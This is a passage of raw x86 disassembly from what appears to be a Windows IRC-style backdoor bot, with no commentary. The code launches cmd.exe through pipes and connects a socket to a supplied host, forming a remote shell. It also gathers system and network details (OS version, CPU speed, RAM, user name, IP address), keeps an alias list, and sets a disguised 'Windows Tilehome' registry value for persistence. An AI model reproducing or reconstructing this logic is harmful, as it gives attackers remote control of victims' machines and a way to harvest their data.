ebp, esp sub esp, 278h push ebx push esi push edi call sub_408EA5 xor esi, esi lea eax, [ebp+var_278] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_44CD94 ; SearchPathA test eax, eax jz loc_4091E7 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, ds:off_41F0F4 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; sub_757191 test eax, eax jz loc_4091E7 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; sub_757191 test eax, eax jz loc_4091E7 mov edi, ds:off_41F0F0 push 3 push esi push esi push offset dword_44CF28 call edi ; sub_752C39 push eax push [ebp+var_8] call edi ; sub_752C39 push eax call ds:off_41F0EC test eax, eax jz short loc_4091E7 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_413890 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_413890 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_438A10 push esi lea eax, [ebp+var_278] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_41F0D4 ; CreateProcessA test eax, eax jnz short loc_4091EF loc_4091E7: ; CODE XREF: sub_4090ED+2Fj ; sub_4090ED+5Cj ... or eax, 0FFFFFFFFh jmp loc_40929D ; --------------------------------------------------------------------------- loc_4091EF: ; CODE XREF: sub_4090ED+F8j push [ebp+var_4] mov edi, ds:dword_41F058 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_44CF24, eax mov eax, [ebp+var_8] mov dword_44CF2C, eax mov eax, [ebp+var_2C] mov dword_44CF20, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_44CF64, eax jz short loc_409229 push [ebp+arg_4] jmp short loc_40922A ; --------------------------------------------------------------------------- loc_409229: ; CODE XREF: sub_4090ED+135j push ebx loc_40922A: ; CODE XREF: sub_4090ED+13Aj push offset dword_44CF30 call sub_413812 pop ecx pop ecx push esi push 7 push offset unk_428980 call sub_4132BE mov edi, eax mov ecx, [ebp+var_24] imul edi, 134h add esp, 0Ch mov dword_452130[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_408F94 push esi push esi call ds:off_41F070 cmp eax, esi mov dword_45213C[edi], eax jnz short loc_40929B call ds:off_41F06C push eax lea eax, [ebp+var_174] push offset unk_42893C push eax call sub_413812 lea eax, [ebp+var_174] push eax call sub_409833 add esp, 10h loc_40929B: ; CODE XREF: sub_4090ED+185j xor eax, eax loc_40929D: ; CODE XREF: sub_4090ED+FDj pop edi pop esi pop ebx leave retn sub_4090ED endp ; =============== S U B R O U T I N E ======================================= sub_4092A2 proc near ; CODE XREF: sub_405F18+74p ; sub_4093C1+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_41F044 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_44CF6C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_413D8A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4092A2 endp ; =============== S U B R O U T I N E ======================================= sub_40930B proc near ; CODE XREF: sub_4093C1+290p push ebx push esi push edi mov esi, 0F4240h loc_409313: ; CODE XREF: sub_40930B+2Fj ; sub_40930B+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_41F050 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_4155C0 mov edi, edx mov ebx, eax test edi, edi ja short loc_409313 jb short loc_409342 cmp ebx, esi ja short loc_409313 loc_409342: ; CODE XREF: sub_40930B+31j push 0 push 64h push edi push ebx call sub_415540 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_4093B5 jb short loc_409361 cmp esi, 50h jnb short loc_409366 loc_409361: ; CODE XREF: sub_40930B+4Fj push 4Bh xor edx, edx pop eax loc_409366: ; CODE XREF: sub_40930B+54j test ecx, ecx ja short loc_4093B5 jb short loc_409371 cmp esi, 47h jnb short loc_409376 loc_409371: ; CODE XREF: sub_40930B+5Fj push 42h xor edx, edx pop eax loc_409376: ; CODE XREF: sub_40930B+64j test ecx, ecx ja short loc_4093B5 jb short loc_409381 cmp esi, 37h jnb short loc_409386 loc_409381: ; CODE XREF: sub_40930B+6Fj push 32h xor edx, edx pop eax loc_409386: ; CODE XREF: sub_40930B+74j test ecx, ecx ja short loc_4093B5 jb short loc_409391 cmp esi, 26h jnb short loc_409396 loc_409391: ; CODE XREF: sub_40930B+7Fj push 21h xor edx, edx pop eax loc_409396: ; CODE XREF: sub_40930B+84j test ecx, ecx ja short loc_4093B5 jb short loc_4093A1 cmp esi, 1Eh jnb short loc_4093A6 loc_4093A1: ; CODE XREF: sub_40930B+8Fj push 19h xor edx, edx pop eax loc_4093A6: ; CODE XREF: sub_40930B+94j test ecx, ecx ja short loc_4093B5 jb short loc_4093B1 cmp esi, 0Ah jnb short loc_4093B5 loc_4093B1: ; CODE XREF: sub_40930B+9Fj xor eax, eax xor edx, edx loc_4093B5: ; CODE XREF: sub_40930B+4Dj ; sub_40930B+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40930B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093C1 proc near ; CODE XREF: sub_40CC09+4F9Ap var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_438A10 mov [ebp+var_CC], 94h call ds:off_41F0F8 xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_409448 cmp [ebp+var_C4], ebx jnz short loc_409424 cmp [ebp+var_BC], 1 jnz short loc_40940E mov [ebp+var_4], offset a95 ; "95" loc_40940E: ; CODE XREF: sub_4093C1+44j cmp [ebp+var_BC], 2 jnz loc_4094C3 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_409494 ; --------------------------------------------------------------------------- loc_409424: ; CODE XREF: sub_4093C1+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_409436 mov [ebp+var_4], offset a98 ; "98" jmp short loc_40948B ; --------------------------------------------------------------------------- loc_409436: ; CODE XREF: sub_4093C1+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_409484 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40948B ; --------------------------------------------------------------------------- loc_409448: ; CODE XREF: sub_4093C1+33j cmp [ebp+var_C8], 5 jnz short loc_409484 cmp [ebp+var_C4], ebx jnz short loc_409462 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40948B ; --------------------------------------------------------------------------- loc_409462: ; CODE XREF: sub_4093C1+96j cmp [ebp+var_C4], 1 jnz short loc_409474 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40948B ; --------------------------------------------------------------------------- loc_409474: ; CODE XREF: sub_4093C1+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40948B loc_409484: ; CODE XREF: sub_4093C1+7Cj ; sub_4093C1+8Ej mov [ebp+var_4], offset a??? ; "???" loc_40948B: ; CODE XREF: sub_4093C1+73j ; sub_4093C1+85j ... cmp [ebp+var_BC], 2 jnz short loc_4094C3 loc_409494: ; CODE XREF: sub_4093C1+61j cmp [ebp+var_B8], bl jz short loc_4094C3 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_2 ; "%s (%s)" push eax call sub_413812 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_4094C3: ; CODE XREF: sub_4093C1+54j ; sub_4093C1+D1j ... mov ax, word_428AC4 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_44CBD8 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_4094FC lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_4094FC: ; CODE XREF: sub_4093C1+12Cj push [ebp+arg_4] call sub_408A5D pop ecx push eax call dword_44CD18 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_44CC98 ; gethostbyaddr cmp eax, ebx jz short loc_409525 push dword ptr [eax] jmp short loc_40952A ; --------------------------------------------------------------------------- loc_409525: ; CODE XREF: sub_4093C1+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40952A: ; CODE XREF: sub_4093C1+162j lea eax, [ebp+var_3E4] push eax call sub_413812 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call ds:dword_41F0FC ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:off_41F068 lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:off_41F064 push 20h lea eax, [ebp+var_38] push ebx push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_38] push eax call ds:off_41F000 push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_415628 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40AA37 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_4092A2 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_408A5D pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40A927 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40A927 pop ecx pop ecx push eax call sub_40930B push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 0FFh push [ebp+arg_0] call sub_413D8A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_4093C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409675 proc near ; CODE XREF: sub_40CC09+4048p ; sub_40CC09+4FC8p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_413890 add esp, 0Ch cmp dword_44CDC0, 0 jnz short loc_4096E9 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_44CBC0 ; InternetGetConnectedStateExA test eax, eax jnz short loc_4096CA lea eax, [ebp+var_8C] push offset aNotConnected ; "Not connected" push eax call sub_413812 pop ecx pop ecx loc_4096CA: ; CODE XREF: sub_409675+40j test [ebp+var_C], 1 jz short loc_4096E2 push offset aDialUp ; "Dial-up" loc_4096D5: ; CODE XREF: sub_409675+72j lea eax, [ebp+var_8] push eax call sub_413812 pop ecx pop ecx jmp short loc_409708 ; --------------------------------------------------------------------------- loc_4096E2: ; CODE XREF: sub_409675+59j push offset off_428B38 jmp short loc_4096D5 ; --------------------------------------------------------------------------- loc_4096E9: ; CODE XREF: sub_409675+28j mov esi, offset off_428B34 lea eax, [ebp+var_8] push esi push eax call sub_413812 lea eax, [ebp+var_8C] push esi push eax call sub_413812 add esp, 10h loc_409708: ; CODE XREF: sub_409675+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_408A5D pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 0FFh push [ebp+arg_0] call sub_413D8A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_409675 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40973B proc near ; CODE XREF: sub_40CC09+3F7Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_4514A8 mov edi, 0B8h loc_40974F: ; CODE XREF: sub_40973B+33j cmp byte ptr [esi], 0 jz short loc_409772 push [ebp+arg_0] push esi call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_409772 inc [ebp+var_4] add esi, edi cmp esi, offset dword_452028 jl short loc_40974F jmp short loc_4097B4 ; --------------------------------------------------------------------------- loc_409772: ; CODE XREF: sub_40973B+17j ; sub_40973B+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_4514A8[esi] push ebx call sub_413890 push 17h push [ebp+arg_0] push ebx call sub_415140 push 9Fh lea eax, dword_4514C0[esi] push [ebp+arg_4] push eax call sub_415140 add esp, 24h inc dword_42C948 pop ebx loc_4097B4: ; CODE XREF: sub_40973B+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40973B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097BB proc near ; CODE XREF: sub_40CC09+5103p var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 100h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 14h xor edi, edi mov esi, offset dword_4514A8 loc_4097E5: ; CODE XREF: sub_4097BB+72j cmp byte ptr [esi], 0 jz short loc_409820 lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_100] push 0FFh push eax call sub_413D8A push 1 lea eax, [ebp+var_100] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 2Ch loc_409820: ; CODE XREF: sub_4097BB+2Dj add esi, 0B8h inc edi cmp esi, offset dword_452028 jl short loc_4097E5 pop edi pop esi leave retn sub_4097BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409833 proc near ; CODE XREF: sub_401000+97p ; sub_4010B2+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:off_41F100 mov ebx, offset dword_450FA4 mov edi, 80h mov esi, offset dword_44CFA4 loc_409855: ; CODE XREF: sub_409833+3Dj cmp byte ptr [ebx], 0 jz short loc_40986C push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_415140 add esp, 0Ch loc_40986C: ; CODE XREF: sub_409833+25j sub ebx, edi cmp ebx, esi jge short loc_409855 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_413D8A add esp, 28h pop edi pop esi pop ebx leave retn sub_409833 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098A7 proc near ; CODE XREF: sub_4069E1+15Bp ; sub_406B69+1AFp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41576F lea eax, [ebp+var_80] push eax call sub_409833 add esp, 14h leave retn sub_4098A7 endp ; =============== S U B R O U T I N E ======================================= sub_4098D3 proc near ; CODE XREF: sub_40CC09+4FFDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_44CFA4 xor ecx, ecx loc_4098DA: ; CODE XREF: sub_4098D3+13j mov [eax], cl add eax, 80h cmp eax, offset dword_450FA4 jl short loc_4098DA cmp [esp+arg_C], ecx push esi mov esi, offset dword_428B94 jnz short loc_40990A push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40B2B5 add esp, 14h loc_40990A: ; CODE XREF: sub_4098D3+1Fj push esi call sub_409833 pop ecx pop esi retn sub_4098D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409913 proc near ; DATA XREF: sub_40CC09+50ADo var_21C = byte ptr -21Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 21Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_409966 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_428BE8 push eax push [ebp+var_11C] call sub_40B2B5 add esp, 14h loc_409966: ; CODE XREF: sub_409913+33j cmp [ebp+var_98], 0 jz short loc_409986 lea eax, [ebp+var_98] push eax call sub_413D7F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_409986 mov [ebp+var_8], eax loc_409986: ; CODE XREF: sub_409913+5Aj ; sub_409913+6Ej and [ebp+arg_0], 0 mov esi, offset dword_44CFA4 loc_40998F: ; CODE XREF: sub_409913+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_4099E9 cmp byte ptr [esi], 0 jz short loc_4099D8 cmp [ebp+var_98], 0 jz short loc_4099BE cmp [ebp+var_4], 0 jnz short loc_4099BE lea eax, [ebp+var_98] push eax push esi call sub_40842E pop ecx test eax, eax pop ecx jz short loc_4099D8 loc_4099BE: ; CODE XREF: sub_409913+90j ; sub_409913+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40B2B5 add esp, 14h loc_4099D8: ; CODE XREF: sub_409913+87j ; sub_409913+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_450FA4 jl short loc_40998F loc_4099E9: ; CODE XREF: sub_409913+82j lea eax, [ebp+var_21C] push offset dword_428BBC push eax call sub_413812 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_409A23 push esi lea eax, [ebp+var_21C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40B2B5 add esp, 14h loc_409A23: ; CODE XREF: sub_409913+EEj lea eax, [ebp+var_21C] push eax call sub_409833 push [ebp+var_18] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 pop edi pop esi sub_409913 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A42 proc near ; CODE XREF: sub_408701+1Ep ; sub_409AB2+4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_428C18 xor esi, esi mov ebx, offset aWindowsTilehom ; "Windows Tilehome" loc_409A55: ; CODE XREF: sub_409A42+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_44CC94 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_409A8F push [ebp+arg_0] call sub_413E90 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_44CD00 ; RegSetValueExA jmp short loc_409A99 ; --------------------------------------------------------------------------- loc_409A8F: ; CODE XREF: sub_409A42+2Fj push ebx push [ebp+var_4] call dword_44CC54 ; RegDeleteValueA loc_409A99: ; CODE XREF: sub_409A42+4Bj push [ebp+var_4] call dword_44CCB8 ; RegCloseKey add edi, 8 cmp edi, offset unk_428C30 jl short loc_409A55 pop edi pop esi pop ebx leave retn sub_409A42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AB2 proc near ; CODE XREF: sub_409AB2+16j ; DATA XREF: sub_40C2D0+4B7o arg_0 = dword ptr 4 push [esp+arg_0] call sub_409A42 pop ecx push dword_428C10 call ds:dword_41F050 ; Sleep jmp short sub_409AB2 sub_409AB2 endp ; =============== S U B R O U T I N E ======================================= sub_409ACA proc near ; CODE XREF: sub_409B05+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_409AFF push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_409AE3: ; CODE XREF: sub_409ACA+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_41F254[eax*4] xor esi, eax inc edx dec edi jnz short loc_409AE3 pop edi pop ebx loc_409AFF: ; CODE XREF: sub_409ACA+Ej mov eax, esi pop esi not eax retn sub_409ACA endp ; =============== S U B R O U T I N E ======================================= sub_409B05 proc near ; CODE XREF: sub_40A3AD+271p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_413F0B mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_414F8F mov edi, eax pop ecx test edi, edi pop ecx jz short loc_409B54 loc_409B2A: ; CODE XREF: sub_409B05+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_409B58 inc ebx push ebx push esi call sub_4157BF mov esi, eax pop ecx test esi, esi pop ecx jz short loc_409B54 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_414E87 add esp, 10h jmp short loc_409B2A ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409B05+23j ; sub_409B05+39j xor eax, eax jmp short loc_409B73 ; --------------------------------------------------------------------------- loc_409B58: ; CODE XREF: sub_409B05+29j dec ebx push ebx push esi call sub_409ACA push esi mov ebx, eax call sub_413F7F push edi call sub_414E31 add esp, 10h mov eax, ebx loc_409B73: ; CODE XREF: sub_409B05+51j pop edi pop esi pop ebx retn sub_409B05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B77 proc near ; CODE XREF: sub_409BFD+33p ; sub_40A160+BFp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_44CD58 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_409BF3 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_413890 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_44CCDC ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_44CD18 ; inet_addr cmp eax, esi jnz short loc_409BD8 push [ebp+arg_0] call dword_44CD5C ; gethostbyname test eax, eax jz short loc_409BF3 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_409BD8: ; CODE XREF: sub_409B77+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_44CC88 ; connect cmp eax, esi jnz short loc_409BF7 push edi call dword_44CD70 ; closesocket loc_409BF3: ; CODE XREF: sub_409B77+1Bj ; sub_409B77+58j mov eax, esi jmp short loc_409BF9 ; --------------------------------------------------------------------------- loc_409BF7: ; CODE XREF: sub_409B77+73j mov eax, edi loc_409BF9: ; CODE XREF: sub_409B77+7Ej pop edi pop esi leave retn sub_409B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BFD proc near ; DATA XREF: sub_40CC09+A76o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_413E60 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_409B77 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_409C90 lea eax, [ebp+var_11B4] push offset unk_428CB4 push eax call sub_413812 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_409C73 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40B2B5 add esp, 14h loc_409C73: ; CODE XREF: sub_409BFD+59j lea eax, [ebp+var_11B4] push eax call sub_409833 push [ebp+var_10] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 loc_409C90: ; CODE XREF: sub_409BFD+3Fj push offset byte_438A10 push ebx call sub_4090ED pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_409CFB lea eax, [ebp+var_11B4] push offset unk_428C74 push eax call sub_413812 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_409CD7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40B2B5 add esp, 14h loc_409CD7: ; CODE XREF: sub_409BFD+BDj lea eax, [ebp+var_11B4] push eax call sub_409833 pop ecx push ebx call dword_44CD70 ; closesocket push [ebp+var_10] call sub_4135DA pop ecx push esi call ds:off_41F040 loc_409CFB: ; CODE XREF: sub_409BFD+A3j push 64h call ds:dword_41F050 ; Sleep xor edi, edi mov esi, 1000h loc_409D0A: ; CODE XREF: sub_409BFD+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_44CCF4 ; recv test eax, eax jle short loc_409D67 lea eax, [ebp+var_11B4] push offset asc_4253FC ; "\n" push eax call sub_414FC0 lea eax, [ebp+var_11B4] push eax call sub_408ED5 add esp, 0Ch test eax, eax jz short loc_409D67 push 64h call ds:dword_41F050 ; Sleep push 7 call sub_413506 test eax, eax pop ecx jnz short loc_409D0A loc_409D67: ; CODE XREF: sub_409BFD+130j ; sub_409BFD+154j lea eax, [ebp+var_11B4] push offset unk_428C30 push eax call sub_413812 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_409D9A push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40B2B5 add esp, 14h loc_409D9A: ; CODE XREF: sub_409BFD+180j lea eax, [ebp+var_11B4] push eax call sub_409833 pop ecx push ebx call dword_44CD70 ; closesocket push [ebp+var_10] call sub_4135DA pop ecx push edi call ds:off_41F040 sub_409BFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DBE proc near ; DATA XREF: sub_40CC09+423Bo var_904 = byte ptr -904h var_504 = byte ptr -504h var_400 = dword ptr -400h var_3FC = dword ptr -3FCh var_2FC = byte ptr -2FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 